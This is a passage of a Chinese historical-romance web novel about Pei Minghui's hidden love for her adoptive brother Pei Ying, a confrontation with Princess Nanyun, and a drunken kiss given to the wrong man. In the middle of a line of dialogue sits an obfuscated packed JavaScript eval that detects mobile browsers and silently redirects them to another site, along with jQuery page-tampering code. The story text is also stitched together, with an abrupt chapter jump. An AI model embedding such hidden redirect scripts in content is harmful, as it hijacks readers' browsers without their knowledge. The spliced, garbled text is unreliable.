春喜一见她唇上血珠淋漓,忙执了帕子来擦去,血珠擦去,才发现原本美丽的红唇已然血肉模糊。 “小姐这是受了什么委屈。” 春喜一边推夏荷去寻药膏,自己且扶了裴明绘,柔声安慰。 “无事无事,你们都歇息罢。” 裴明绘疲惫地摆了摆手,强行撑着坐了起来,乌黑的发垂了下来,原本柔滑有光泽的长发似乎在此刻黯淡了起来,像是被秋日寒风吹拂过一般,带走了它所有水分,渐渐走向枯萎。 “只是一些小事,无事,你们都退下去罢。” 两个婢女你看我我看你,原想留在此处守候裴明绘,可是裴明绘却突然像是发了狂一般,拼命地嘶吼道:“走啊!我叫你们走!” 两个婢女受了惊吓,连声道诺,惶惶退下。 温暖的室内只剩下裴明绘一个人,她丧失了所有力气,跪坐在床上,将头深深埋了下去,无声地哭泣着。 一种无与伦比的孤独蔓延上来,就像是很久很久以前,自己被父亲送到许府的时候,那种看似有了更好的去处,实则却是到了一处真正无所凭依的境地。 不知从何而起的情思随着时间而日渐深重,因为情感的边界并非分明,而是如犬牙交错一般彼此楔入,并相互演化。 所以起初时,她只朦胧间不知其意,却在惊觉之时已然如陷泥沼般越陷越深。 不可自拔。 可她已到悬崖之时,便欲悬崖勒马,可是情乃烈马,不由理智,又岂是她说要按住便能按住的呢? 翌日清晨,春喜与夏荷小心翼翼地进来,却发现裴明绘已然昏倒在榻上,身上却连被子都没有盖,身上烫得吓人,脸颊上红得像是敷了胭脂,眼皮沉沉地坠着,一动也不动。 她发了热,烧得迷糊,似乎连天地日月都不知为何物了。 她的脑子混沌着,整个人的神思似乎都飘荡在一片黑暗里,四肢沉重像是有石头塞在里面,一动也动不得,眼皮上似乎也坠了水银一般,抬也抬不起来。 耳边时而传来嘈杂的声音,其间许多声音让她觉得莫名熟悉,却又莫名陌生,就在她疑惑不解之时,一缕冷香飘了过来,像是一阵春风一般,舒缓了她的疼痛。 她迷迷糊糊朦朦胧胧间似乎感受到有谁将她抱了起来,那些微的冷意驱散了她浑身难耐的燥意。 似乎有一只冰凉的手擦过她的脸颊,一下接着一下。 就这样过了许多日子,她才堪堪醒了过来,一睁眼,眼前是许多模糊的光斑,等待这些光斑消散之后,她才看清了眼前的人。 是裴瑛,是她的义兄,是她的哥哥。 “哥哥……” 裴明绘直直地看着裴瑛,声音沙哑,不复往日之清润。 “嗯。为兄在。” 裴瑛垂眸看着她,原本黑白分明的眼珠攀上红血丝,周身也不复往日的清爽干练,而满是疲惫。 显然她昏迷了多少日夜,他也就衣不解带照顾了多少日夜。 “可好些了?” 那夜的冰冷默然一扫而空,裴瑛似乎又成了那个她所熟悉的哥哥,温柔耐心,将所有阴暗面压下去的哥哥。 可是昨夜终究不是梦,这一场病,却也让她有所憬悟。 裴明绘的心底翻涌起波涛来,或许在这一刻她才真的明白了,有些事,是绝对没有可能的,太多痴心妄想压在心头,以至于让她以为自己真的有可能。 或许,放下才是这段感情最好的归宿。 裴明绘静静躺在裴瑛的怀中,裴瑛垂下眼眸来,无声地注视着她,将她抱在怀中。 可是往往天不随人愿,这段隐秘的情注定要在诸多势力的角逐之下走向最为惨烈的结局。 而裴明绘的伤心之时,也自此真正起了开端。 就这样过了暮春,浓烈的夏阳照落了洁白的杏花,当最后一朵杏花也开败的时候,未央宫里的李夫人殁了,皇帝甚思之,任命李夫人的兄长李何为贰师将军,封为西海侯。 与此同时,原本只小范围传播的歌谣也开始扩散开来,逐渐从长安民宅街坊穿到了未央宫的官署里。 当夏阳也消去燥热之意,清爽的秋风徐徐而来之时,未央宫的花木也愈加灿烂,诸多颜色交相层叠,随风飒飒作响,有的依旧坚持在枝头上,在阳光照耀上彰显着自己的色彩,但是有的却在冷风中坚持不住,飘飘然打着旋落了下来,层积在落叶堆上。 一只洁净修长的手将那金黄的落叶拾了起来,再度带它升了天空,遮蔽了刺目的日光,但是明亮纯净的光线却还是从叶子的边缘照了过来,落在裴明绘的面容上,照得她的面庞像是脂玉一般莹润。 她今日并未穿着过去常穿的粉色衣裳,而是穿着颇为肃穆庄重的深绯色衣裳,领口大袖的边缘都有简约的飞禽纹样。 虽有此赴宫宴女眷衣服形制不同,却也于朝官的衣服形制也是不同,因裴明绘身份之不同,故其衣物取折中之法。 “裴明绘!” 她正自出神之时,忽闻身后一人叫她名字,便转过头去。 却见秋阳灿烂之下,一华衣女子就在她一箭之地处看着她,眼中是激烈燃烧的愤怒。 是南云长公主刘竺。 “殿下。” 裴明绘欠身向南云长公主行礼。 此时的南云长公主似乎完全没了过去的傲气,长长的眉毛蹙起,积怨已久的眼睛映着自己憎恨已久的人的模样。 南云长公主一口银牙都要咬碎,只恨不得飞扑上来将裴明绘撕碎,却有所忌讳而不敢有所为。 裴明绘倒是讶然于南云长公主竟如此憎恨自己,难道是埋怨自己上次把她拽倒了? 南云长公主冷笑一声,踱步而来。 裴明绘知南云长公主来者不善,面上虽然沉静,内心却拉起了警戒:“不知殿下唤臣,有何事吩咐。” “我哪里敢吩咐你呢。”南云长公主压着心头的怒火,声音细长而又阴冷,“仗着自己哥哥是御史大夫,便为所欲为。但我告诉你,我是长公主,是汉朝的公主,你不过臣子,我们之间是永远无法跨越的差距,是云泥之别!” 南云长公主一走近,裴明绘才发现她的面色很是不好,眼底笼罩似乎永远都不会散的阴云。 看起来,南云长公主似乎经历一段很长的很不愉快的日子。 “臣谨遵南云长公主的教诲。” 裴明绘并不想同她发生争执,便屡次退让。 “只是臣还有些事,先告退了。” 裴明绘刚转过身子,南云长公主便呵住了她的动作:“站住!我叫你走了吗!” “不要以为多了几个虚头巴脑的官职,尾巴就可以翘到天上去了。” “,一介妇人,小吏之女,无尺寸之功,忝为朝官,你何德何能啊!”南云长公主咬牙切齿,每一个音节都饱含着愤怒与不解,若非有所顾及,她定然要动手,“你不就是仗着裴瑛么,我告诉你,你的官就是做到顶,也比不了我,就算是你哥哥,生死与荣华也不过是我皇兄一句话的事。” 南云长公主说得这番话委实太过扎耳,可是细细想来,却也不无道理。 本着万事和为贵的道理,裴明绘又忍了下去,她转过身来,“臣却是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195819|140873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又要事,长公主此番教诲,臣定谨记在心。” 眼见又是一拳打在了棉花上,南云长公主顿时又是气不打一处来,连月的愤怒一时寻不到宣泄处,便也淹没了理智,她猛地扬起手来,便要重重地打在她的脸上。 眼见掌风逼来,裴明绘正欲要躲,电光火石间,一只修长优雅的手攥住了南云长公主的手腕,表面上看着轻轻松松,但是裴明绘却隐隐听见了骨骼响动的声音。 南云长公主面上愤怒的声音迅速被疼痛取而代之,长眉痛苦地绞在一起,她忍无可忍痛呼出声:“啊——” 裴明绘扭过头去,就见裴瑛冷漠从容地看着南云长公主的痛苦神色,手却依旧没有松开,像是刑具一般加诸于她不事劳动的纤弱手腕之上,直到她再也忍受不住跪倒在地,裴瑛这才松开了手,颇具风度地关切道,“长公主可还好?” 南云长公主捂住自己的手腕,过了许久才堪堪缓了过来,额头上沁出了豆大的汗珠。 她的手腕上除了有些许红痕以外并无外伤痕迹,但到底痛到何种地步只有她自己知道,这便是裴瑛多年经理刑狱而得出来的经验。 “你……”南云长公主用自己未受伤的手撑地起身,在看见裴瑛含笑的眼眸时,顿时红了眼眶,积郁在心底的委屈彻底爆发,“你怎么可以如此对我,我做的可都是为了你好啊!” 裴瑛依旧微笑着,他向南云长公主一拱手,“长公主的心意臣心领了,只是长公主的时间珍贵,与其浪费在臣的身上,不若去做些别的,也让陛下少为长公主操些心。” 南云长公主美丽的脸庞如同碎开了一般,苍白的嘴唇嗫喏着,一句话也说不出来。 裴瑛最后向失魂落魄的南云长公主拱手告辞,拉着若有所思的裴明绘便离开了。 裴明绘最后回头看了一眼南云长公主,她的泪水像是断线的珍珠一般流下她敷着脂粉的脸。 裴明绘又回过头去,垂首思索良久,才小心翼翼地偏过头来,看着裴瑛的侧颜。 南云长公主是皇帝的妹妹,若能尚公主,于裴瑛在政治上助益自是不必说,可是裴瑛不仅不对屡次示好的南云长公主动心,甚至为了她而伤长公主的心。 裴明绘又垂下头去,看着自己裙裾上的花纹,默然无语。 裴瑛虽未偏过头来,但是余光却也是一直看着她,见她又低下了头,整个人颓唐起来,便也转过头来,温声道:“怎么了?” 她这才如梦初醒般从自己的沉沉地思索中摆脱了出来,为了掩饰自己的难过,便将话头转向了南云长公主,“南云长公主这是怎么了,我见她的状态好像不太好。” 裴瑛笑了笑:“刘竺行事猖狂,不拘礼法,朝中自有很多人不满于她,为兄便叫御史捡了几件要紧事参了她,陛下便叫她在宫中思过,禁了她的行止,她往日的奢靡之事,自也是一同禁了。” 末了,他又摇了摇头,叹息道,“为兄原以为,刘竺经过此事定会有所收敛,或者,在明面上不该对你如此。为兄今次一观,却见此本性未改,丝毫未曾收敛,甚至加怨于你。看来,这刘竺也就是个蠢人了。” 裴明绘只默默点了点头,心里却半点高兴不起来,她遂问道:“可是哥哥,南云长公主不是很喜欢哥哥吗?” 清澈明亮的秋阳落在他的眉目之上,像是润着一层柔光,周身玄绯色袍服清正肃穆,行走间便是不可度测之深沉。 “为兄并非没有告知过她,只是她一厢情愿,甘作飞蛾扑火,自寻枷锁罢了。” 裴明绘原本乐见裴瑛拒绝南云长公主,可是今时今日,她却也明白了。 不是一个喜欢另一个人,并为他付诸心血甚至付出生命,另外一个人就要喜欢她的。 感情不是交易,不是筹码,它不是等价的交换物。 或许,在最初之时,裴瑛因为对她的歉疚而将她收作义妹,彼时怕并无兄妹之情。 可是今时今日,裴瑛却也对她有着真真切切不容辩驳的亲情。 与此同时,她却在亲情之中生了一分隐秘的情爱。 那这份情爱从何而来,又是何物呢? 是欲望吗? 怕也不是。 若要真的细细去说。 她也只能说一句情不知所起,却一往情深罢。 是枷锁吗? 这份越界感情怕也是对他要是枷锁吧,不管是南云长公主的情,还是作为妹妹的越界的爱,于他而言,怕也都是枷锁。 裴明绘垂下头,苦涩地笑了笑,而后又扭过去,冲裴瑛展颜一笑,眼睛弯弯,盛满日光:“我知道了,哥哥。” 宫宴上,舞女腰如柳,长袖招,翩翩红颜俏,满殿文武举爵庆贺皇帝万岁,又有淮南王千里迢迢而来,与列位高爵重臣列次作颂词,次次欢声雷动,皇帝欣然赏赐,又请司马相如作赋,赐以金帛,觥筹交错间便是西山衔日红日临窗,满地红光映得光亮。 宴罢之后诸臣本当离宫,可偏偏此事又有一桩要事亟待处理,皇帝便留了几位高爵重臣于宣室殿议事。 裴明绘抬起头来,便见夕阳正好红日正好,一片绚烂的颜色流转她微微熏醉的眼底,两颊酡红。 宫宴甚欢,兼之心事太重,裴明绘便也就多饮了,而这一多饮,也就让她醉了。 虽然面上看着虽然红了脸,倒是清醒的,但是心的事已然成了一潭烂泥,分也分不清了。 她脚步也有些虚浮,原本身旁有宫娥随身侍候,便也没什么大碍。 “大人可还好?” 宫娥看她如此模样,便提议让她先去偏殿休息一下。 裴明绘扶住树干,摆了摆手,只说在这里吹吹风。 宫娥也不能违背裴明绘的意志,便也只得在一旁等候着。 冷风吹拂着她的发丝,她的眼睫也微微颤动着,将夕阳筛进了微微涣散的瞳眸之中。 “小姐喝醉了?” 略带关切含笑话语幽幽滑进耳中,裴明绘一偏头,便撞见一张笑吟吟的脸。 阴魂不散,正是温珩。 瞳孔瞬间凝缩,裴明绘顿时冷了下来,所有的忧愁与暗自伤神的痛苦悉数敛藏,她站直了身子,冷声道:“温大人。” “小姐如此冷漠,倒是伤我的心呢。” 温珩幽幽踱步,目光一寸不离放在她的微红的面庞上。 “如何?”本就心烦意乱,温珩又来此添乱,裴明绘自然是心里烦得透顶,转身便走,却又被温珩的伸出的胳膊挡住。 她复又戒备地后退一步。 “方才宫宴之上,我见小姐看似开心,实则落寞,这般的神情,我觉得,太过似曾相识,便担心小姐再觅佳人,故而送上门来,以供小姐消解忧情。” 他眨了眨眼睛,绚烂的夕阳落了进去,便化作恶作剧般的光彩。 “谁要你送上门来。” 裴明绘实实在在被他激怒了,积郁在胸的酒意一下子上涌,彻底冲散了理智,她几乎压低嗓音,压抑着怒火,一把揪住他的领子,将他高傲的头身子拽得底低了下来。 “你到底想干什么,为什么总是阴魂不散缠着我,你烧了明月坊的产业也就罢了,你还想做什么做什么,你到底在发什么疯!你想要什么,你想要做什么!” 温珩头一次见裴明绘发着般的疯,眸子先是闪过一丝异样,但很快就被压了下来,隐藏在弯弯的笑眼里。 “我想要的,不过是想要小姐开心罢了。” 他说的话,裴明绘自然是一个字也不信,她目不转睛地盯着温珩,警告道:“我知道你想要什么了,你想要我们兄妹的命。我告诉你,绝无可能,你若敢动我哥哥分毫,我绝对与拚命!” “别紧张。” 温珩叩住她的手,轻轻松松一摁,便让她松了手。 “如今的我,可还没这个能力。” “不过,我只是来问小姐一件事。” 他的话语十分诚恳,像是诚心求教的学生。 “你且问,问完立即走。” 眼见温珩又来拽自己袖子,裴明绘一把便将袖子扯了出来。 “我才疏学浅,方才从市井听来一句诗,思来想去难解其中意,特来请教小姐。” “你说。” 裴明绘陡然生起戒备来,却还是不知道温珩葫芦里卖的什么药。 “市井小儿多传唱,南山崔崔,雄狐绥绥。鲁道有荡,齐子由归。既曰归止,曷又怀止?”温珩慢慢地吟诵着,略带妩媚的嗓音让诗经《南山》带上了暧昧情|欲,让人冷不丁寒芒耸立。“只是无缘无故,市井何故唱出此诗,是不是暗有所指?” 17-20 第17章 我哥守株待我 兜帽被摘下, 裴瑛的目光是扫过堆积的长案之上的卷宗,而后嘴角便噙上一丝和善的笑意,他向着杨安平一拱手, 温和道,“多谢大人照拂小妹, 玄则有礼了。” 杨安平一见位列三公的裴瑛竟然如此恭敬,忙不迭还礼,“裴小姐乃是我安邑大商,于安邑商事民生大有助益,又兼裴小姐乐善好施,前日明月坊库房突遭横祸, 下官身为河东郡守, 理当查清此案。” “只是此案实在蹊跷,一时头绪繁杂不知从何处着手,故一时之间难以查清,还请裴大人原谅下官办事不力。” 杨安平一时也大见为难, 虽说裴瑛曾嘱托河东郡守杨安平多为关照, 但到底此案牵涉太多, 一时难以查清,原本他已经派出许多郡守府干员,但不成想裴瑛竟然会冒雪前来。 裴瑛再度微笑拱手,显然并无责怪之意:“此间难处, 玄则明白。” 杨安平见状,连忙虚手,将裴瑛请了上座, 而后自己则站在长案前,将几卷要紧的案宗摆了出来。 裴瑛一目十行地将案宗上内容都浏览完毕, 当卷宗上“疑为亲近者陷害之”几个字时,裴瑛的眼神倏然暗了下来。 “亲近者?” 裴瑛的目光放在了杨安平身上,修长的指节屈起,手指无目的地摩挲着案宗。 到底是为地位极人臣,权利压丞相的御史大夫,又兼之裴瑛久在御前,抉择国之大事,故仅仅这一抬眼时的压迫感,就忍不住让杨安平额头渗出冷汗。 “下官……下官也只是猜测,以明月坊的库房的看守制度来说,若没是裴小姐的府库钥匙,是无法将如此大量的火油运入库房的,况且,自明月坊库房建成十数年来,从未发生过起火事件,但是……下官不知当讲不当讲……” “讲。” 裴瑛虽然看起来面无表情,但是他已经沉下来的语气说明,他的心情显然不好。 他与裴明绘相处多年,突然多了一个莫名其妙不知来处的亲近者,心情自然不会好到哪里去。 “裴大人此前曾叫下官多为关照一下裴小姐,下官也担心裴大人你不在安邑,便会有人心生歹意,故此便叫派了人关注裴小姐的行止,后此人汇报说,裴小姐近来与一来历不明的男子颇多来往。” 咔嚓一声,卷宗的一片竹简瞬间裂成两半,啪的一声摔在了岸上。 杨安平顿时止了话头,裴瑛缓缓抬起头来,纤长的眼睫掀起,露出那那双极具压迫感的黑色眼眸。 “继续讲。” 裴瑛本就是心思剔透之人,只杨安平这细碎地一讲,裴瑛立即便将前因后果全都理顺了,彼时他的笑容尽数湮灭在归总着那位柔弱不能自理的温姓外室细节的卷宗之上。 风雪更加盛大,以铺天盖地之势席卷而来,整座安邑城尽数淹没在滔天的风雪之中,裴瑛的斗篷也被风雪吹得猎猎作响,肃肃飘在空中,如同展翅的鹰隼,行将展开残酷的捕杀。 “封锁安邑城,任何人不得出入。” 一队领命,而后退入风雪之中。 “封锁裴府消息,任何消息不得传入裴府。” 裴瑛有条不紊地将安排着行动,一队接着一队人马离去。 裴瑛翻身上马,而后率领余下精锐,直扑城西而去。 紧闭的大门被骤然撞开,门扇轰然坠地,两列骑士下马急行,沉重急促的脚步将松软的新雪踩实,整座小院瞬间被顶盔掼甲的骑士包围。 紧闭的门房被推开,裴瑛缓步踏入屋中,屋中并没有人,就连燎炉里的炭火都没了热气,他面无表情地览过屋中所有的陈设,而后一丝悠荡在冰冷空气的血腥气顿时让他眼神凛冽起来,很快,他的目光就锁定在了一处柜子上,剑刃劈开铜锁,柜门登时被挤开,一具扭曲着被塞进柜子的尸体滚了出来。 裴瑛一招手,便有甲士大步而来,将尸体抬了出去。 一听闻明月坊被烧,裴瑛立即就清楚朝中有人将矛头指向了裴明绘,裴瑛便不欲打草惊蛇,一路急行,可就算如此,却还是叫此人跑了。 到底是他们神通广大,还是裴家出了内鬼。 当然,裴瑛可不相信他们有什么神通,不过是阴谋诡计的高手,阴沟里不见得光的老鼠,一朝阳光破云,便叫他们死无葬身之地。 风雪稍稍收势,但是凛冽的风依旧夹杂着大片大片的雪花飘扬在空中,被风灯一照,就像是在发着光,剔透晶莹,冰冷间却又着光的温暖。 因着库房被烧此遭大害如泰山压顶一般压来,裴明绘忙得连轴转,丝毫没有发觉温晏已经有些时日没来找她来,等到大体事情都安置妥当,二人便一处饮了些酒。 裴明绘心里事情太多,一不小心就喝多了,踩就在厚厚的雪里的脚步格外踉跄。 “温公子前几天好不容易主动一回,你怎的就如此轻易就送客了?” 聂妩就拉着不争气的裴明绘往城西小院走去。 “怎么,难道我还让他留宿吗?” 不知道怎么,裴明绘的眼皮一直在跳,似乎又什么不好的事情要发生,但是一想,自己库房都被烧了,还能有什么比这个更糟糕的呢。 估计是没有了。 “那算什么?”聂妩亲昵地挽住裴明绘的肩膀,“什么比一亲芳泽更重要呢?呵呵,老大姑娘了,怎么还脸红了呢?” “你真是的。” 裴明绘将聂妩的脸推开,遂道,“直到人家还是个姑娘,你还这样说。” 聂妩笑嘻嘻的把手臂拉住裴明绘的肩上,又把凑到裴明绘耳边,吐着雾气悄咪咪地说了几句话,原本就因为醉酒而红了的脸更添了几分酡红,她赶忙把聂妩推到一边,嗔怪道,“你竟说这讨人嫌的荤话。” “好姑娘,错过这村,可没这店了。” 她们一路嬉嬉笑笑,很快就到门前,只是以往紧闭着门如今却虚掩着,两人轻轻一推就被推开了。 二人都喝醉了,聂妩一门心思撮合裴明绘与温晏,裴明绘被聂妩讲得那些荤话说得头昏脑涨,一时之间竟然谁都没有注意这一点。 小院里很黑,也很安静,只有风雪的呼啸,以及二人的踩雪声。 “去罢,按我教你的话说,保准他上钩,这小子可是纯情的呢。” 聂妩一推裴明绘的肩膀,而后就站在廊下,玩笑地似地捂住了自己的耳朵,歪着头笑道,“待会儿我就去庖厨,绝对不偷听。” “你啊你,真叫人讨厌。” 酒意上头,那旖旎的心思也随着酒意一同占据了她的心神。 今夜,所以的痴迷就都该结束了,所有隐藏在乖巧之后的疯狂心思也该随着冬风一同死去了。 冬风吹起绫罗墨发,白皙的手一把推开了门,冷风随之涌进了没有生着燎炉的屋子,夺走了屋子所剩不多的温暖。 “你怎么不点灯啊。”以往平和的声音三起三伏,尾音带了勾人的魅惑,“是在……等我吗?” 冷风似乎更加猖獗了些,吹得屋子里帷幕纷纷扬扬舒卷开合,似乎连带着雪花也在屋子里飘落起来。 “你在哪呢?” 白皙的手顺手便将门关了上来,她醉眼迷离地四处张望着,想要寻找那个熟悉的身影,屋子里头很黑,她的神志也不太清醒,故而脚步如踏云端一般恍惚跌撞。 突然,她感觉有一丝冷风吹来,她突然感到一阵骨冷,而肌肤上也因为突如其来的寒冷的刺激而起了微粒,似乎在黑暗中有一双极为恐怖的眼睛在盯着她一样。 她搂住肩膀,不满地蹙起了眉。 这氛围怎么感觉如此之怪? 她想象中的应当是红烛幽幽,照得佳人心魂荡荡,素手相执,映出一片秾丽春光颜色。 屋外冷风急雪如同鬼叫一般呼呼地吹着,带着雪粒拍打在窗子上的绷得极工整极紧的白色布帛上,像极了鬼拍窗。 可是心底的旖旎和着酒意,顿时化作了无量的勇敢。 左右不过一场混沌,算什么,又不上去上刑场赴死。 “原来你在这儿?”娇媚勾人的带着嗔怪的声音响起,裴明绘发现了那端坐在长案之后的身影,黑暗里她瞧不清楚他的面容,可是能够在此处的,除了温晏,又能有谁呢? “怎么不出声啊。” 裴明绘款款走了过去,粉色的裙裾拖曳过铺着红毡的地面。 深浓的夜色里他的容颜不甚清晰,但是那双眼睛半阖的眼睛之下似乎隐匿着什么。 他今日穿的衣服好似也不常见,一身黑,隐约间好像还有寒光闪过。 “怎么了?”她笑着走了过去,居高临下地看着温晏,她从未在这个角度看过裴瑛,如今居高而看,心脏噗通噗通地跳了起来。 她抿了抿有些干涩地唇,冰凉的双手轻轻捧起他的脸,却发觉他的脸竟然比她的手还要凉,好像一块冷玉,虽然冰冷,却丝滑的叫人爱不释手。 原本旖旎的心思顿时消散了大半,这让裴明绘顿时有了退缩的意思。 空气逐渐凝固,像是于无声中绷起了一根看不见的弦。 裴明绘的呼吸急促,她凝眸看着自己手中的人。 依旧是那样朗月清风不惹尘埃的身形,在如同漏着雪光的黑暗里,带着某种无形的压迫感,压迫她既紧张,又兴奋。 谁在谁的股掌? 翻雨覆云,不过一念之间,顷刻间尔。 温晏也抬起眼睛来,凤眸里如同深海般深沉的黑暗,以及压抑在眸底的危险的警告缓缓流淌在眸底。 随着他的抬眼,霎时间,不大的空间里便弥漫起危险而又紧张的气息。 一朝生,一朝死。 可偏偏就是这种眼神,瞬间便让裴明绘心潮起伏,每一个感官都被刺激得无比敏感,她的掌心热得发烫,浑身上下的神经瞬间紧绷,肌肤也一寸一寸地僵硬起来。 她掌心的温度烫得燎人,男人疑惑而又不解地蹙起了好看的眉,似乎无法理解她缘何为如此大的反映。 可是,他依旧没有动。 毕竟,他可是个泰山崩于前而面不改色的人物,往往审查案件之事,他不到最后一刻便绝不会抽手。 故,他便到等到最后一刻,看看他的妹妹到底意欲何为。 相比于裴瑛的冷静清醒,彼时的裴明绘已经深陷在巨大震撼与欲望之中无法自拔了。 像极了他,像极了他,他怎么可以这么像他,怎么可以? 酒气蓊郁,神思迷离,心弦崩断,欲念横行。 从未有过的欲望轰轰烈烈而来,以滔天之势压来,她的眼神一瞬之间变得迷惘又痴恋。 男人见她的神色实在不对,正要开口说话,却不曾想她直接覆了上来。 第18章 亲一个。亲错了?是我哥啊啊啊! 裴明绘的呼吸急促, 这一刻,她心底里所有的被压抑的欲望悉数决堤而出,轰轰烈烈淹没一切, 淹没她所有的理智,淹没她所有的考量。 酒意再次上头, 她低下头去。依照自己所预想的,直接吻了上去。 或许因为太紧张太激动太热情,他们的鼻梁一不小心撞在一起,痛得她眼泪顿是流了出来,但是疼痛却并没有让她清醒,反而让她更加心神激荡。 她很少如此霸道, 往常跟着裴瑛, 大多跟裴瑛一样,待人接物非常随和。 但是二人对于自己的东西,却有着极其隐秘的霸道。 温热的吐息交错着,蓊郁的酒香交缠着。 无数次白日幻梦里所幻想的成为现实, 无数次理智之下的乖顺表象化为齑粉。 她太过贪心, 浅尝辄止尚且不足, 见身下人没有拒绝,便乘胜追击,灵巧的舌尖越过他未设防线的齿列,青涩而又执拗地仿着书里所写的那样与他纠缠, 舌尖卷起他的舌,轻轻舔舐着。 既羞涩,却又热烈。 这是她的初吻, 她在品尝之后甚至想要立刻逃出去,可是甘甜的滋味蛊惑着她的逐步深入, 身下的人似乎也没有拒绝,她也就当二人两情相悦。 独属于他的冷冽清香在她唇齿之间回荡,但她沉醉于此,焉能注意到这一点? 这是青涩的,并不熟练的,但又及其暧昧的充斥着欲望的,几乎要夺走对方所有空气的一个吻。 如此陌生而又令人心神激荡的感觉,让裴明绘的脑海与思维悉数炸开,朝思暮想,梦里梦外都在贪恋着的,奢望着的,在阴差阳错之下,在两个人都错位着的情况下,实现了。 在他们愈发滚烫的喘息间,她勾着他的脖颈,可随着身体愈发热,她的心思也开始膨胀起来,她并不想要止步于此。 她的手也不安分地想往他的衣服里探去,可是就在她艰难地找到入口的时候,手腕就被一只冰冷的大手攥住了。 而下一瞬,裴明绘就被猛地推开了,她重重地摔倒在地,却又余势未消,在地上滚了几滚,才堪堪停了下来,她艰难地撑着胳膊起来,原本完好的发髻都摔得散落开来,那支金桃枝发簪挑着一缕发艰难地悬在半空之中。 旖旎的心思顿时烟消云散,她茫然地错愕地愤怒地回头,显然不知道温晏为何如此大的脾气,竟然敢推她! “你疯了?!” 她捂着摔痛的腰不可置信地质问温晏,微挑的眼尾晕开了愤怒的红色。 “放肆!” 一声气到颤抖着的暴怒传来,这无比陌生却又无比熟悉的声线登时叫裴明绘酒意全消,血液瞬间停顿倒流,冷汗唰地一下就流了下来,裴明绘脑子里所有欲望轰然散去,惊惧着的理智一下子就回拢了。 她内心顿时一片冰冷,她的声音颤抖着,浑身也抖如筛糠,她的理智也在灯火倏然亮起的那一刻彻底爆炸,连同着她的躯体也一同炸成了碎片。 “哥哥?哥哥!” 起初她尚且不敢相信自己所看见的,可是当她颤抖着拂开自己眼前的头发之时,彻底看清了眼前人的模样。 她绝望地闭上眼。 完蛋了完蛋了!!! 亲错了啊啊啊啊,她怎么真的亲了裴瑛啊啊啊! 她内心疯狂地尖叫着,脸色也唰得一下白了下来。 昏暗的橘红色灯火如潮水一般蔓延开来,照亮了站在面前的人,为他镀上了一层柔和的金边,同时却也将他的面容分成阴暗两面。 柔和光亮处眉眼如画,昏暗无光处阴冷恐怖。 而此人,正是裴瑛。 裴明绘朝思暮想,却也只能朝思暮想的人。 她的哥哥。 裴瑛。 “不……不……不是这样的。” 裴明绘哆嗦着,她的四肢百骸在巨大的恐惧之下都失去控制,她看着裴瑛几乎暴怒,登时下得瘫坐在地上,止不住地颤抖,连着声线也都颤抖起了,一句完整地话都说不出来。 “我……我,不是……故……故意……的。” “裴子吟。” 几乎瞬息之间,裴瑛以往所有的从容不迫决浮云的气魄在此刻尽数烟消云散,只剩下赤裸的怒火在燃烧着理智。 “你很好。” 几乎是银牙齿缝里迸出来的几个词,裴瑛原本强行压下了这滔天的怒火,可是一想到发生了什么事,他便怒极反笑,这份笑意外化于那扬起其超然于平常弧度的唇角。 黑色军靴踩在青石地板,发出清脆冷冽的声响,他向着跌坐在地上的裴明绘步步紧逼。 他并未传着素日常穿的青色袍子,而是穿着全幅将军装束,黑色精铁甲胄,薄软修身却又坚硬无比,勾勒出男人宽肩窄腰的极具美感的身形,他每走一步,精铁甲片便便会相互碰撞,发出清脆的金铁振声,让裴明绘心惊胆颤。 他本就有百官之首的威风凛凛不怒自威,又有了这幅将军甲胄的加持,更是压迫感十足,似乎连周围的空气都冰冷住了。 裴明绘顿时吓得浑身如同雪一般凉,她看着裴瑛暴怒如此,更是三魂荡荡七魄悠悠,几乎连滚带爬地想要跑。 裴瑛见状,三步上前按住她的肩膀,而后猛地向下一压,裴明绘便被他压得跪倒在地。 她胳膊吃疼,被迫着跪下了,与此同时周身的骨骼也似乎因为不堪重负而发出了咔嚓的声音。 彼时聂妩听到屋中传来奇怪的声音,惊疑之下酒意也消了大半,正自走上前来,借着门缝一窥,就见裴瑛黑衣黑甲,面色冷峻得几乎要杀人,尤其是那薄唇之侧噙着的冷冽的笑意,登时叫聂妩呼吸一窒。 娘啊,看看这是谁啊? 聂妩内心一阵冰凉,顿觉吾命休矣。 裴瑛眼风一扫,优雅漆黑的眼眸里杀意煌煌,登时叫她骨冷,她哆嗦着转身就要跑。 “抓住她。” 冰冷的命令即刻下达,而后黑影窜动。 就听门外一声惨叫,裴明绘登时惊惧不已,吓得浑身剧烈一颤,而后便是止不住的哆嗦。 裴明绘自与裴瑛成为兄妹,裴瑛对她,便从来是和颜悦色一团春风,任何不好的情绪都没有在她面前显露过,今日裴瑛雷霆一怒,隐约见便将往日审讯政敌与要犯的凌厉凶狠带了出来,如何不把裴明绘吓得浑身颤抖? 随着时间的流逝,裴瑛的情绪渐渐隐藏了起来,他一把握住裴明绘的瘦削的肩膀,强行让一直扭头逃避的裴明绘转过头来。 “裴子吟,几月不见,本事倒是愈发大了。” 显而易见,这并不是赞誉之辞。 他的脸靠得极尽,本生得俊雅秀丽无双的面容在裴明绘眼前放大,黑漆漆的眸子闪着令人胆生寒的冷光,说话间的吐息甚至还没有褪去方才的热意,如此冰冷的眸光与温热的吐息一并交错在她的面上,她几乎都要因为心跳过快而晕死在此处了。 他的声音冷的都掉冰碴子,他说得极慢,几乎没说一个字,裴明绘的心都随之一颤。 “没……没……” 裴明绘看着裴瑛,浑身都忍不住颤抖,像是秋风中的落叶一般,颤颤悠悠行将掉落。 裴瑛见裴明绘吓成如此模样,闭了闭眼,心道自己就这么一个妹妹,怎么也不能把她吓死,便松开了钳制住她肩膀的手,冷哼一声转身就离开,冷冷地撂下一句话就转身离去。 “回府。” 眼见裴瑛的身影越来越远,裴明赶忙手脚并用的爬了起来,结果腿还在发抖,几乎要站不住了,她手抖着捏了捏自己腿,将几乎打结的经脉勉强揉开,方才赶忙走了过去。 